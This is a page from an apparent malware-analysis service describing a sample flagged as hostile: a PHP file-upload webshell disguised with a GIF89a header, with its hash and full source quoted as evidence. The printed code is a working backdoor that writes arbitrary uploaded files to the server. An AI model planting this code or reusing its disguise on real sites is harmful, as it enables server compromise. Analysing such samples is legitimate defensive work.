Hostile 100% Download

180401bb5e239fa755c84cfd2a905807

PHP webshell file upload

Looks like a webshell cloaked as GIFPHP webshell which only writes an uploaded file to disk
SHA-2562adda66e73cfb2a0f67b1efcde56c7f635386b2bda02e88ed2a76acaa8ebef6d
MaleculeH₂(CmOs)Th

Evidence

enctype attribute lines 1–9
1GIF89a1
2<br>
3<?php
4echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
5echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
6if( $_POST['_upl'] == "Upload" ) {
7 if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
8 else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
9}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.